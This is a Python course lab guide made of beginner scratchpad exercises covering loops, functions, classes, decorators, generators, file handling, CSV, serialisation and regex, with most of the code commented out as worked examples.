Lab guidePython

Python August 2023

Last updated 29 November 2023

Python August 2023

Scratchpad 1-9

print("Hello World")

# player_one_high_score = 10
# playerOneHighScore = 10
# PlayerOneHighScore = 10
# player-one-high-score = 10

player_one_high_score: int = 10

# name = "John Doe"
# # print(name.lower().find('doe'))

# name.find("Doe").upper()

# # print("Enter amount in INR for conversion to USD: ")
# inr = float(input("Enter amount in INR for conversion to USD: "))
# usd = inr * 82.231

# print(f"INR {inr} when converted to USD is {usd}")

# city = input("Enter your city: ")

# if city == "mumbai":
#     print("That's a great city")
# elif city == "delhi":
#     print("That's a bad city")
# elif city == "pune":
#     print("That's close")
# else:
#     print("I don't know that city")

# print("This is after the conditional statement above")

# age = int(input("Please enter your age: "))

# if age > 65:
#     print("Drinks are free")
# elif age > 21:
#     print("You can enter and you can drink")
# elif age > 18:
#     print("You can enter but you cannot drink")
# else:
#     print("You are not allowed")

logged_in_user = "john123"

if logged_in_user:
    print("Welcome to the site")
else:
    print("You have to login to view this page")

# # age = input("Please enter your age: ")

# # if age:
# #     age = int(age)
# #     if age >= 18 and age < 21:
# #         print("You can enter but you cannot drink")
# #     elif age >= 21 and age < 65:
# #         print("You can enter and you can drink")
# #     elif age >= 65:
# #         print("Drinks are free")
# #     else:
# #         print("You are not allowed")
# # else:
# #     print("Please enter a value")

# player1 = input("Enter player 1's choice: ")
# player2 = input("Enter player 2's choice: ")

# if player1 == player2:
#     print("Draw")
# elif ((player1 == "rock" and player2 == "scissor")
#       or (player1 == "paper" and player2 == "rock")
#       or (player1 == "scissor" and player2 == "paper")):
#     print("Player 1 wins")
# elif ((player2 == "rock" and player1 == "scissor")
#       or (player2 == "paper" and player1 == "rock")
#       or (player2 == "scissor" and player1 == "paper")):
#     print("Player 2 wins")
# else:
#     print("Please enter a valid value")

# # if player1 == "rock":
# #     if player2 == "paper":
# #         print("Player 2 wins")
# #     elif player2 == "scissor":
# #         print("Player 1 wins")

# # elif player1 == "paper":
# #     if

# for char in "hello world":
#     print(char, "HELLO")

# for num in range(0, 10):
#     print(num)
#     print("..........")

# for num in range(0, 101):
#     print(num)

# for num in range(5):
#     print(num)

# for num in range(0, 100, 5):
#     print(num)

# for num in range(10, 0, -2):
#     print(num)

# for num in range(1, 21):
#     if num == 5 or num == 16:
#         print("FizzBuzz")
#     elif num % 2 == 0:
#         print(f"{num} - Fizz is even")
#     elif num % 2 == 1:
#         print(f"{num} - Fizz is odd")

password = input("Please enter your password: ")

while password != "helloworld":
    print("Incorrect password!")
    password = input("Please enter your password again: ")

# password = input("Please enter your password: ")

# while password != "helloworld":
#     print("Incorrect password!")
#     password = input("Please enter your password again: ")

# for num in range(10):
#     print(num)

# count = 0
# while count < 10:
#     print(count)
#     count += 1

# password = input("Please enter your password: ")

# while password != "helloworld":
#     if password == 'quit':
#         break
#     print("Incorrect password!")
#     password = input("Please enter your password again: ")

# password = input("Please enter your password: ")

# while True:
#     if password == 'helloworld':
#         break
#     print("Incorrect password!")
#     password = input("Please enter your password again: ")

# while True:
#     player1 = input("Enter player 1's choice: ")
#     player2 = input("Enter player 2's choice: ")

#     if player1 == player2:
#         print("Draw")
#     elif ((player1 == "rock" and player2 == "scissor")
#           or (player1 == "paper" and player2 == "rock")
#           or (player1 == "scissor" and player2 == "paper")):
#         print("Player 1 wins")
#     elif ((player2 == "rock" and player1 == "scissor")
#           or (player2 == "paper" and player1 == "rock")
#           or (player2 == "scissor" and player1 == "paper")):
#         print("Player 2 wins")
#     else:
#         print("Please enter a valid value")

#     answer = input("Do you want to play again? (y/n) ")
#     if answer != 'y':
#         break

langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"]

for lang in langs:
    print(lang)

# count = 0
# while count < len(langs):
#     print(langs[count])
#     count += 1

# # nums = [1, 2, 3, 4, 5, 6, 7]

# # doubles = [num * 2 for num in nums] # [2, 4, 6]

# # # doubles = []

# # # for num in nums:
# # #     doubles.append(num * 2)

# # print(doubles)

# # names = ["john", "jack", "jane", "jill", "jim"]

# # upper_names = [name.upper() for name in names]

# # # upper_names = []

# # # for name in names:
# # #     upper_names.append(name.upper())

# # print(upper_names)

# # nums = [1, 2, 3, 4, 5, 6, 7]

# # result = [num for num in nums if num % 2 == 0]
# # print(result)

# # names = ["john", "jack", "jane", "jill", "jim"]

# # result = [name for name in names if len(name) <= 3]
# # print(result)

# # message = "Hello World"

# # result = [char for char in message if char in "aeiou"]
# # print("".join(result))

# # nums = [1, 2, 3, 4, 5, 6, 7]

# # result = [num * 2 if num % 2 == 1 else num / 2 for num in nums]
# # print(result)

# # nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9, 10]]

# # # for lst in nested_list:
# # #     for num in lst:
# # #         print(num)

# # total = 0

# # for lst in nested_list:
# #     for num in lst:
# #         total += num

# # print(total)

# nested_list = [[[1, 2, 3], [1, 2, 3, 34], [1, 2, 3]],
#                [[1, 2, 3], [1, 2, 3], [1, 2, 3]],
#                [[1, 2, 3], [1, 2, 3], [1, 2, 3]]]

# # total
# # evens_total
# # new_odd_list

product = [
    "iPhone 14 pro max", "Apple", "Some description...", 500, 150000, True
]

product = {
    "name": "iPhone 14 pro max",
    "price": 150000,
    "brand": "Apple",
    "description": "Some description...",
    "in_stock": 500,
    "discounted": True,
    1: "hello"
}

product = {
    "name": "iPhone 14 pro max",
    "price": 150000,
    "brand": "Apple",
    "description": "Some description...",
    "in_stock": 500,
    "discounted": True,
}

for key, value in product.items():
    print(key, value)

# for item in product.items():
#     print(item[0], item[1])

# print(product.items())

# for key in product.keys():
#     print(key, product[key])

# # for value in product.values():
# #     print(value)

# for key in product:
#     print(key, product[key])

# def greet():
#     print("Hello World")
#     print("Hello Galaxy")

# greet()
# greet()
# greet()

import random

# def flip_coin():
#     num = random.random()
#     if num > 0.5:
#         print("HEADS")
#     else:
#         print("TAILS")

# def throw_dice():
#     num = random.randint(1, 7)
#     print(num)

# # flip_coin()
# throw_dice()

# def throw_dice():
#     num = random.randint(1, 7)
#     return num

# print(throw_dice())

# def greet(name):
#     return f"Hello {name}"

# print(greet("John"))
# print(greet("Jane"))

# def add(a, b):
#     return a + b

# print(add(10, 6))

# def sum_odd_nums(numbers):
#     total = 0
#     for num in numbers:
#         if num % 2 != 0:
#             total += num
#     return total

# print(sum_odd_nums([1, 2, 3, 4, 5]))

# def is_odd_num(number):
#     if number % 2 == 1:
#         return True
#     return False

# print(is_odd_num(11))

# def exponent(num=1, power=1):
#     return num**power

# print(exponent())

# def add(a, b):
#     return a + b

# def sub(a, b):
#     return a - b

# def math(a, b, fn=add):
#     return fn(a, b)

# print(math(10, 5))

# def full_name(first, last):
#     return "Your name is " + first + " " + last + "."

# # print(full_name("Doe", "Jane"))
# print(full_name(last="Doe", first="Jane"))

# full_name = "John Doe"  # global scope


def greet():
    full_name = "Jane Doe"
    print(full_name)  # local scope


greet()
print(full_name)

Scratchpad 10-14

# total = 0

# def func():
#     global total
#     total += 10
#     print(total)

# func()
# print(total)

# def outer():
#     count = 0

#     def inner():
#         nonlocal count
#         count += 10
#         print(count)

#     inner()

# outer()


def greet(name, message):
    """Greet function accepts `name` and `message` which are strings and return a greeting string.

    @Params
        name: str
        message: str

    @Returns:
        str:
    """
    return f"{message} {name}"


# print(greet("John", "Hello,"))
# print(greet.__doc__)

print([].pop.__doc__)


# def add(a, b, *nums):
#     print(a)
#     print(b)
#     print(nums)
#     # total = 0
#     # for num in nums:
#     #     total += num
#     # return total

# print(add(10, 5, 6, 32, 1, 3, -2, 23, 2231, 122, 3, 2))

# def profile(first, last):
#     print(first)
#     print(last)

# def profile(**data):
#     for key in data:
#         print(key, data[key])

# profile(first="John", last="Doe", age=20, job_title='Dev')

# def dummy(a, b, c, *args, role="admin", **kwargs):
#     print(a, b, c, args, role, kwargs)

# dummy(10,
#       20,
#       30,
#       40,
#       50,
#       60,
#       100,
#       hello="world",
#       test="message",
#       role="moderator")

# def add(*nums):  # ([10, 20, 30, 40, 50])
#     total = 0
#     for num in nums:
#         total += num
#     return total

# vals = [10, 20, 30, 40, 50]

# # print(add(vals[0], vals[1], vals[2], vals[3], vals[4]))
# print(add(*vals))

# def say_name(first, last):
#     print(f"My name is {first} {last}.")

# profile = {"first": "Jane", "last": "Doe"}
# # say_name(profile["first_name"], profile["last_name"])
# say_name(**profile)  # say_name(first="Jane", last="Doe")

# def add(a, b):
#     return a + b

# sub = lambda a, b: a - b

# print(sub(10, 2))

# print(add(10, 4))
# hello = add
# print(hello(10, 2))

# def math(a, b, fn):
#     return fn(a, b)

# def mul(a, b):
#     return a * b

# print(math(10, 3, lambda a, b: a * b))
# print(math(10, 3, mul))

# nums = [1, 2, 3, 4, 5]

# # doubles = [num * 2 for num in nums]
# # doubles = map(lambda num: num * 2, nums)
# # evens = [num for num in nums if num % 2 == 0]
# evens = filter(lambda num: num % 2 == 0, nums)

# # print(list(doubles))
# # print(evens)
# print(list(evens))

names = ['John', 'Jack', 'James', 'Desmond', 'Charlie', 'Jacob']

filtered_name = filter(lambda name: len(name) < 5, names)
result = list(map(lambda name: f"The one who wins is {name}", filtered_name))
print(result)


# import random

# SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
# RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack",
#               "Queen", "King")

# NCARDS = 8

# def get_card(deck_list_in):
#     this_card = deck_list_in.pop()
#     return this_card

# def shuffle(deck_list_in):
#     deck_list_out = deck_list_in.copy()
#     random.shuffle(deck_list_out)
#     return deck_list_out

# print("Welcome to higher or lower.")
# print(
#     "You have to choose whether the next card to be shown will be higher or lower than the current card."
# )
# print(
#     "Getting it right adds 20 points; get it wrong and you will lose 15 points."
# )
# print("You have 50 points to start.")
# print()

# starting_deck_list = []
# for suit in SUIT_TUPLE:
#     for this_value, rank in enumerate(RANK_TUPLE):
#         card_dict = {"rank": rank, "suit": suit, "value": this_value + 1}
#         starting_deck_list.append(card_dict)

# score = 50

# while True:
#     game_deck_list = shuffle(starting_deck_list)
#     current_card_dict = get_card(game_deck_list)

#     current_card_rank = current_card_dict["rank"]
#     current_card_suit = current_card_dict["suit"]
#     current_card_value = current_card_dict["value"]

#     print(f"Starting card is {current_card_rank} of {current_card_suit}")
#     print()

#     for card_number in range(0, NCARDS):
#         answer = input(
#             f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): "
#         )
#         answer = answer.lower()
#         next_card_dict = get_card(game_deck_list)
#         next_card_rank = next_card_dict["rank"]
#         next_card_suit = next_card_dict["suit"]
#         next_card_value = next_card_dict["value"]
#         print(f"Next card is {next_card_rank} of {next_card_suit}")

#         if answer == 'h':
#             if next_card_value > current_card_value:
#                 print("You got it right, it was higher")
#                 score += 20
#             else:
#                 print("Sorry, it was not higher")
#                 score -= 15
#         elif answer == "l":
#             if next_card_value < current_card_value:
#                 print("You got it right, it was lower")
#                 score += 20
#             else:
#                 print("Sorry, it was not lower")
#                 score -= 15

#         print(f"Your score is: {score}")
#         print()
#         current_card_rank = next_card_rank
#         current_card_suit = next_card_suit
#         current_card_value = next_card_value

#     go_again = input("To play again, press ENTER, or 'q' to quit: ")
#     if go_again == 'q':
#         break

# print("Thank you for playing!")

# def colorize(text, color):
#     colors = ("red", "yellow", "blue", "green", "purple")

#     if type(text) is not str:
#         raise TypeError("Text must be a string")

#     if type(color) is not str:
#         raise TypeError("Color must be a string")

#     if color not in colors:
#         # raise Exception("The provided color is invalid")
#         raise ValueError("The provided color is invalid")

#     print(f"Printed {text} in {color}")

# try:
#     colorize(100, "red")
# except Exception as err:
#     print(err)
# except (ValueError, TypeError) as err:
#     print(err, "Something went wrong")
# except:
#     print("Something went wrong")


def colorize(text, color):
    colors = ("red", "yellow", "blue", "green", "purple")

    if type(text) is not str:
        raise TypeError("Text must be a string")

    if type(color) is not str:
        raise TypeError("Color must be a string")

    if color not in colors:
        # raise Exception("The provided color is invalid")
        raise ValueError("The provided color is invalid")

    return f"Printed {text} in {color}"


try:
    result = colorize("Hello World", "red")
except Exception as err:
    print(err)
else:
    print(result)
finally:
    print("THis will always run")


# import random as r

# def random():
#     return "RANDOM NUM"

# from random import randint as ri, random, choice, shuffle
# # from random import *

# print(ri(10, 100))
# print(random())

# # import file1
# from file1 import hello_world

# # file1.hello_world("John Doe")
# hello_world("Jane Doe")

# print("This is in scratchpad_13.py. This is the value of __name__ =", __name__)

# str     -> value
#         -> methods

# Object
#

# def user(first_name, last_name, email):
#     return {"first_name": first_name, "last_name": last_name, "email": email}

# def greet(user_dict):
#     print(
#         f"Hello, my name is {user_dict['first_name']} {user_dict['last_name']}"
#     )

# john = user("John", "Doe", "john@gmail.com")
# greet(john)

# print(john)


def user(first_name, last_name, email):

    def greet():
        print(f"Hello, my name is {first_name} {last_name}")

    return {
        "first_name": first_name,
        "last_name": last_name,
        "email": email,
        "greet": greet
    }


class User:

    def __init__(self, first_name, last_name, email):
        self.first_name = first_name
        self.last_name = last_name
        self.email = email

    def greet(self):
        print(f"Hello, my name is {self.first_name} {self.last_name}")


john = user("John", "Doe", "john@gmail.com")
jane = User("Jane", "Smith", "jane.smith@gmail.com")

print(john["first_name"])
print(jane.first_name)
print("----------")
john["greet"]()
jane.greet()
print("----------")
print(type(john))
print(type(jane))

# "hello".upper()

# upper(10)

# a = []

# array_push(a, "hello")

# a.append("21839789123")


# a = []
# a.append(100)


class User:
    default_city = "New York"
    total = 0

    def __init__(self, first_name, last_name, age):
        self.first_name = first_name
        self.last_name = last_name
        self._age = age
        self.city = "Mumbai"
        User.total += 1

    def get_age(self):
        return self._age

    def set_age(self, new_age):
        if new_age >= 18 and new_age < 100:
            self._age = new_age
        else:
            raise ValueError("Please enter a valid age")


john = User("John", "Doe", 20)
jane = User("Jane", "Smith", 20)

# print(john.default_city)
# print(jane.default_city)
# print(User.default_city)
print(User.total)

# john.__age = 500000000000000000000000000000000000000000
# john.set_age(300000000000)
# print(john.__age__)
# jane.city = "Delhi"
# print(jane.city)
# print(john.city)

# print(john)
# print(john.first_name, john.last_name, john.get_age())
# print(type(john))

Scratchpad 15-18

# class Math:

#     @classmethod
#     def add(cls, a, b):
#         return a + b

#     @classmethod
#     def sub(cls, a, b):
#         return a - b

# print(Math.add(10, 4))
# print(Math.sub(10, 4))

# class User:
#     default_city = "New York"
#     total = 0

#     def __init__(self, first_name, last_name, age):
#         self.first_name = first_name
#         self.last_name = last_name
#         self._age = age
#         self.city = "Mumbai"
#         User.total += 1

#     def __repr__(self):
#         return self.first_name + " " + self.last_name

#     @classmethod
#     def get_total_users(cls):
#         return cls.total

# def get_age(self):
#     return self._age

# def set_age(self, new_age):
#     if new_age >= 18 and new_age < 100:
#         self._age = new_age
#     else:
#         raise ValueError("Please enter a valid age")

# john = User("John", "Doe", 20)
# print(john)

# print(john.get_age())

# print(User.get_age())

# print(User.get_total_users())

# class User:

#     def __init__(self, first_name, last_name, age, email, password):
#         self.first_name = first_name
#         self.last_name = last_name
#         self._age = age
#         self.email = email
#         self._password = password

#     def __repr__(self):
#         return self.first_name + " " + self.last_name

#     def login(self, password):
#         if self._password == password:
#             print(f"{self.email} has successfully logged in")
#             return True
#         raise ValueError("Incorrect password")

#     def logout(self):
#         print(f"{self.email} has successfully logged in")
#         return True

#     @property
#     def age(self):
#         return self._age

#     @age.setter
#     def age(self, new_age):
#         if new_age >= 18 and new_age < 100:
#             self._age = new_age
#         else:
#             raise ValueError("Please enter a valid age")

#     # def get_age(self):
#     #     return self._age

#     # def set_age(self, new_age):
#     #     if new_age >= 18 and new_age < 100:
#     #         self._age = new_age
#     #     else:
#     #         raise ValueError("Please enter a valid age")

# class Moderator(User):

#     def __init__(self, first_name, last_name, age, email, password, phone):
#         super().__init__(first_name, last_name, age, email, password)
#         self.phone = phone

#     def create_group(self, group_name):
#         print(f"{group_name} group was created")

# john = User("John", "Doe", 20, "john.doe@gmail.com", "123456")
# jane = Moderator("Jane", "Smith", 20, "jane.smith@gmail.com", "123456",
#                  "+91 9876654321")

# jane.create_group("Python")
# print(jane.first_name)

# john.set_age(50)
# print(john.get_age())

# john.age = 30

# print(john.age)
# print(jane.phone)

# class Human:

#     def __init__(self, name):
#         self.name = name

#     def greet(self):
#         print("Hello World")

# class Animal:

#     def __init__(self, name):
#         self.name = name

#     def greet(self):
#         print("AJndslkjansdasdl")

# class Mutant(Human, Animal):

#     def greet(self):
#         print("TEST")

# john = Human("John Doe")
# tom = Animal("Tom")
# scott = Mutant("Scott Summers")

# john.greet()
# tom.greet()
# scott.greet()

# # print(Mutant.__mro__)


class User:

    def __init__(self, first_name, last_name, age, email, password):
        self.first_name = first_name
        self.last_name = last_name
        self._age = age
        self.email = email
        self._password = password

    def __repr__(self):
        return self.first_name + " " + self.last_name

    def __len__(self):
        return self._age

    def __add__(self, other_user):
        return User("new", "born", 0, "new_born@parent.com", "123243")

    def login(self, password):
        if self._password == password:
            print(f"{self.email} has successfully logged in")
            return True
        raise ValueError("Incorrect password")

    def logout(self):
        print(f"{self.email} has successfully logged in")
        return True

    @property
    def age(self):
        return self._age

    @age.setter
    def age(self, new_age):
        if new_age >= 18 and new_age < 100:
            self._age = new_age
        else:
            raise ValueError("Please enter a valid age")


class Moderator(User):

    def __init__(self, first_name, last_name, age, email, password, phone):
        super().__init__(first_name, last_name, age, email, password)
        self.phone = phone

    def create_group(self, group_name):
        print(f"{group_name} group was created")


john = User("John", "Doe", 20, "john.doe@gmail.com", "123456")
jane = User("Jane", "Smith", 20, "jane.smith@gmail.com", "123456")
# jane = Moderator("Jane", "Smith", 20, "jane.smith@gmail.com", "123456",
#                  "+91 9876654321")

# print(len("hello"))
# print(len([1, 2, 3, 4, 56, 67, 7]))
# print(len(john))

print(1 + 2)
print("hello" + "world")
print(john + jane)


# # name = "John Doe"

# # for char = next(name) in name = iter(name):
# #     print(char)

# # def myfor(iterable):
# #     iterator = iter(iterable)

# #     while True:
# #         try:
# #             print(next(iterator))
# #         except StopIteration:
# #             break

# # a = [1, 2, 3, 4]

# # myfor(a)

# # for num in a:
# #     print(num)

# # r = range(10)

# # for num in r:
# #     print(num)

# class Counter:

#     def __init__(self, start, end, step=1):
#         self.start = start
#         self.end = end
#         self.step = step

#     def __iter__(self):
#         return self

#     def __next__(self):
#         if self.start < self.end:
#             num = self.start
#             self.start += self.step
#             return num
#         else:
#             raise StopIteration

# c = Counter(0, 10)

# for num in c:
#     print(num)

# def counter(start, end, step=1):
#     while start < end:
#         yield start
#         start += step

# result = counter(0, 10, 2)

# for num in result:
#     print(num)

# # print(next(result))
# # print(next(result))

# def fib_list(max):
#     nums = []
#     a, b = 0, 1
#     while len(nums) < max:
#         nums.append(a)
#         a, b = b, a + b
#     return nums

# def fib_gen(max):
#     a, b = 0, 1
#     count = 0
#     while count < max:
#         a, b = b, a + b
#         yield a
#         count += 1

# # result = fib_list(10000000000000000000)
# result = fib_gen(
#     1000000000000000000000000000000000000000000000000000000000000000000000000000000000000
# )

# # print(result)

# for num in result:
#     print(num)

import time

gen_start_time = time.time()  # current time
print(sum(num for num in range(100000000)))
gen_time = time.time() - gen_start_time

list_start_time = time.time()  # current time
print(sum([num for num in range(100000000)]))
list_time = time.time() - list_start_time

print(f"generator took - {gen_time}")
print(f"list comprehension took - {list_time}")


# def add(a, b):
#     return a + b

# def sub(a, b):
#     return a - b

# def math(a, b, fn):
#     return fn(a, b)

# print(math(10, 5, sub))

# def sum(n, func):
#     total = 0
#     for num in range(1, n + 1):
#         total += func(num)
#     return total

# def square(num):
#     return num**2

# print(sum(10, square))

import random

# def greet(person):

#     def get_mood():
#         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
#         msg = random.choice(mood)
#         return msg

#     result = f"{get_mood()} {person}"
#     return result

# print(greet("John"))

# def make_greet_func(person):

#     def make_message():
#         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
#         msg = random.choice(mood)
#         return f"{msg} {person}"

#     return make_message

# greet_jane = make_greet_func("jane")
# greet_john = make_greet_func("john")

# print(greet_jane())
# print(greet_john())

from functools import wraps


def stars(fn):
    """Decorator that prints stars around"""

    @wraps(fn)
    def wrapper(*args, **kwargs):
        """Wrapper function"""
        print("*" * 10)
        fn(*args, **kwargs)
        print("*" * 10)

    return wrapper


@stars
def greet(message, person):
    """Function that accepts a message and a name and greets it"""
    print(f"{message} {person}")


# greet = stars(greet)
# greet("hi", "Jack")
print(greet.__doc__)
print(greet.__name__)

# from pprint import pprint
# from datetime import datetime

# class Company:

#     def __init__(self, name, address, phone_nos, email,
#                  company_registration_code):
#         self.name = name
#         self.address = address
#         self.phone_nos = phone_nos
#         self.email = email
#         self.company_registration_code = company_registration_code
#         self.employees = []

#     def __repr__(self):
#         return self.name

#     def create_employee(self, first_name, middle_name, last_name, address,
#                         aadhar_card_no, pan_card_no, phone, email):
#         if not all([
#                 first_name, middle_name, last_name, address, aadhar_card_no,
#                 pan_card_no, phone, email
#         ]):
#             raise ValueError("All fields are required to create an employee")

#         new_employee = Employee(first_name, middle_name, last_name, address,
#                                 aadhar_card_no, pan_card_no, phone, email)
#         self.employees.append(new_employee)
#         return new_employee

# class Employee:

#     def __init__(self, first_name, middle_name, last_name, address,
#                  aadhar_card_no, pan_card_no, phone, email):
#         self.first_name = first_name
#         self.middle_name = middle_name
#         self.last_name = last_name
#         self.address = address
#         self.aadhar_card_no = aadhar_card_no
#         self.pan_card_no = pan_card_no
#         self.phone = phone
#         self.email = email
#         self.attendance = []

#     def __repr__(self):
#         return self.first_name + " " + self.middle_name + " " + self.last_name

#     def get_full_name(self):
#         return f"{self.first_name} {self.middle_name} {self.last_name}"

#     def get_details(self):
#         return {
#             "first_name": self.first_name,
#             "middle_name": self.middle_name,
#             "last_name": self.last_name,
#             "address": self.address,
#             "aadhar_card_no": self.aadhar_card_no,
#             "pan_card_no": self.pan_card_no,
#             "phone": self.phone,
#             "email": self.email
#         }

#     def edit_details(self,
#                      first_name=None,
#                      middle_name=None,
#                      last_name=None,
#                      address=None,
#                      phone=None,
#                      email=None,
#                      aadhar_card_no=None,
#                      pan_card_no=None):
#         if first_name:
#             self.first_name = first_name
#         if middle_name:
#             self.middle_name = middle_name
#         if last_name:
#             self.last_name = last_name
#         if address:
#             self.address = address
#         if phone:
#             self.phone = phone
#         if email:
#             self.email = email
#         if aadhar_card_no:
#             self.aadhar_card_no = aadhar_card_no
#         if pan_card_no:
#             self.pan_card_no = pan_card_no

#     def punch_in(self):
#         self.attendance.append({"date": datetime.now(), 'punch': 'in'})

#     def punch_out(self):
#         self.attendance.append({"date": datetime.now(), 'punch': 'out'})

# acme = Company("Acme Corp", "Some Location, 401 Bakers street, Mumbai 400002",
#                ["+91 9876654321", "+91 022 24567890"], "support@acmecorp.com",
#                "ASD78978AVG")

# john = acme.create_employee(
#     "John", "Jack", "Doe",
#     "New Haven, 201 Hello World Street, Sion, Mumbai 400001",
#     "89679879897987987987", "YHUI78682", "+91 8765543213", "john@gmail.com")

# # print(acme.employees)
# # print(john)
# pprint(john.get_details())
# print()
# john.edit_details(middle_name="Jane")
# pprint(john.get_details())

# file = open("hello.txt")
# print(file.read())
# # file.close()
# print(file.closed)

# with open("hello.txt") as file:
#     print(file.read())

# print(file.closed)

with open("hello.txt", "w") as file:
    file.write("hello universe\n" * 10)

# with open("hello.txt", "r+") as file:
#     file.seek(0)
#     file.write("------")

# with open("hello.txt", "r") as file:
#     data = file.read()
#     data = data.replace("universe", "solar system")

# with open("hello.txt", "w") as file:
#     file.write(data)

Scratchpad 18-25

# from pprint import pprint
# from datetime import datetime

# class Company:

#     def __init__(self, name, address, phone_nos, email,
#                  company_registration_code):
#         self.name = name
#         self.address = address
#         self.phone_nos = phone_nos
#         self.email = email
#         self.company_registration_code = company_registration_code
#         self.employees = []

#     def __repr__(self):
#         return self.name

#     def create_employee(self, first_name, middle_name, last_name, address,
#                         aadhar_card_no, pan_card_no, phone, email):
#         if not all([
#                 first_name, middle_name, last_name, address, aadhar_card_no,
#                 pan_card_no, phone, email
#         ]):
#             raise ValueError("All fields are required to create an employee")

#         new_employee = Employee(first_name, middle_name, last_name, address,
#                                 aadhar_card_no, pan_card_no, phone, email)
#         self.employees.append(new_employee)
#         return new_employee

# class Employee:

#     def __init__(self, first_name, middle_name, last_name, address,
#                  aadhar_card_no, pan_card_no, phone, email):
#         self.first_name = first_name
#         self.middle_name = middle_name
#         self.last_name = last_name
#         self.address = address
#         self.aadhar_card_no = aadhar_card_no
#         self.pan_card_no = pan_card_no
#         self.phone = phone
#         self.email = email
#         self.attendance = []

#     def __repr__(self):
#         return self.first_name + " " + self.middle_name + " " + self.last_name

#     def get_full_name(self):
#         return f"{self.first_name} {self.middle_name} {self.last_name}"

#     def get_details(self):
#         return {
#             "first_name": self.first_name,
#             "middle_name": self.middle_name,
#             "last_name": self.last_name,
#             "address": self.address,
#             "aadhar_card_no": self.aadhar_card_no,
#             "pan_card_no": self.pan_card_no,
#             "phone": self.phone,
#             "email": self.email
#         }

#     def edit_details(self,
#                      first_name=None,
#                      middle_name=None,
#                      last_name=None,
#                      address=None,
#                      phone=None,
#                      email=None,
#                      aadhar_card_no=None,
#                      pan_card_no=None):
#         if first_name:
#             self.first_name = first_name
#         if middle_name:
#             self.middle_name = middle_name
#         if last_name:
#             self.last_name = last_name
#         if address:
#             self.address = address
#         if phone:
#             self.phone = phone
#         if email:
#             self.email = email
#         if aadhar_card_no:
#             self.aadhar_card_no = aadhar_card_no
#         if pan_card_no:
#             self.pan_card_no = pan_card_no

#     def punch_in(self):
#         self.attendance.append({"date": datetime.now(), 'punch': 'in'})

#     def punch_out(self):
#         self.attendance.append({"date": datetime.now(), 'punch': 'out'})

# acme = Company("Acme Corp", "Some Location, 401 Bakers street, Mumbai 400002",
#                ["+91 9876654321", "+91 022 24567890"], "support@acmecorp.com",
#                "ASD78978AVG")

# john = acme.create_employee(
#     "John", "Jack", "Doe",
#     "New Haven, 201 Hello World Street, Sion, Mumbai 400001",
#     "89679879897987987987", "YHUI78682", "+91 8765543213", "john@gmail.com")

# # print(acme.employees)
# # print(john)
# pprint(john.get_details())
# print()
# john.edit_details(middle_name="Jane")
# pprint(john.get_details())

# file = open("hello.txt")
# print(file.read())
# # file.close()
# print(file.closed)

# with open("hello.txt") as file:
#     print(file.read())

# print(file.closed)

with open("hello.txt", "w") as file:
    file.write("hello universe\n" * 10)

# with open("hello.txt", "r+") as file:
#     file.seek(0)
#     file.write("------")

# with open("hello.txt", "r") as file:
#     data = file.read()
#     data = data.replace("universe", "solar system")

# with open("hello.txt", "w") as file:
#     file.write(data)

# with open("test.csv") as file:
#     contents = file.read()
#     contents = contents.split('\n')[:-1]
#     contents = [val.split(',') for val in contents]
#     print(contents)

# from pprint import pprint
# from csv import reader, DictReader

# with open("test3.csv") as file:
#     # csv_reader = reader(file)
#     # csv_reader = DictReader(file, delimiter="|")
#     csv_reader = DictReader(file)
#     pprint(list(csv_reader))

# from csv import writer

# with open("test2.csv", "w", newline="") as file:
#     csv_writer = writer(file)
#     csv_writer.writerow(['First Name', 'Last Name', 'Email', 'Phone'])
#     csv_writer.writerow(['John', 'Doe', 'john@gmail.com', '+91 9823342567'])
#     csv_writer.writerow(['Jane', 'Smith', 'jane@gmail.com', '+91 9823342567'])

# from csv import DictWriter

# with open("test2.csv", "w", newline="") as file:
#     headers = ['First Name', 'Last Name', 'age']
#     csv_writer = DictWriter(file, fieldnames=headers)
#     csv_writer.writeheader()
#     csv_writer.writerow({
#         'First Name': 'John',
#         'Last Name': 'Smith',
#         'age': 20
#     })

import pickle
import json


class User:

    def __init__(self, first_name, last_name, age):
        self.first_name = first_name
        self.last_name = last_name
        self.age = age

    def __repr__(self):
        return self.first_name + " " + self.last_name

    def greet(self):
        return f"Hello, my name is {self.first_name} {self.last_name} and I am {self.age} years old"


# user1 = User("John", "Doe", 20)
# user2 = User("Jane", "Smith", 24)

# print(user2.__dict__)
# print(user1.__dict__)

# with open("users.pickle", "wb") as file:
#     pickle.dump((user1, user2), file)

# with open("users.pickle", "rb") as file:
#     restored_data = pickle.load(file)
#     print(restored_data[0].greet())

# print(json.dumps(user1.__dict__))

# # with open("users.json", "w") as file:

import jsonpickle

# with open("users.json", "w") as file:
#     data = jsonpickle.encode([user1, user2])
#     file.write(data)

with open("users.json") as file:
    data = file.read()
    users = jsonpickle.decode(data)
    print(users)

import re

# pattern = re.compile(r"\d{3}\s\d{4}\s?\d{4}")

# res = pattern.search("Call us today on 022 23456754 or 022 2345 2342")
# if res:
#     print(res.group())
# else:
#     print("No match found")


# res = pattern.findall("Call us today on 022 23456754 or 022 2345 2342")
# print(res)

# def extract_phone(phone_no):
#     pattern = re.compile(r"\d{3}\s\d{4}\s?\d{4}")
#     match = pattern.search(phone_no)
#     if match:
#         return match.group()
#     return None

# print(extract_phone("Call us today on 022 23456754 or 022 2345 2342"))

# def is_valid_landline(tel):
#     pattern = re.compile(r"^\d{3}\s\d{4}\s?\d{4}$")
#     match = pattern.search(tel)
#     if match:
#         return True
#     return False

# print(is_valid_landline("022 23456754"))


def is_valid_landline(tel):
    pattern = re.compile(r"\d{3}\s\d{4}\s?\d{4}")
    match = pattern.fullmatch(tel)
    if match:
        return True
    return False

print(is_valid_landline("022 23456754"))



# class Customer:
#     @classmethod
#     def validate_pan_card(pan_card_no):
#         # LOGIC




from datetime import datetime
import threading
import multiprocessing

def dummy_func(x):
    print(f"Job-{x} started: {datetime.now()}")
    a = []
    for i in range(40000):
        for j in range(2000):
            a.append([i,j])
            a.clear()
    print(f"Job-{x} ended: {datetime.now()}")


# start_time = datetime.now()
# dummy_func(1)
# dummy_func(2)
# dummy_func(3)
# dummy_func(4)
# print(f"Total time taken: {datetime.now() - start_time}")

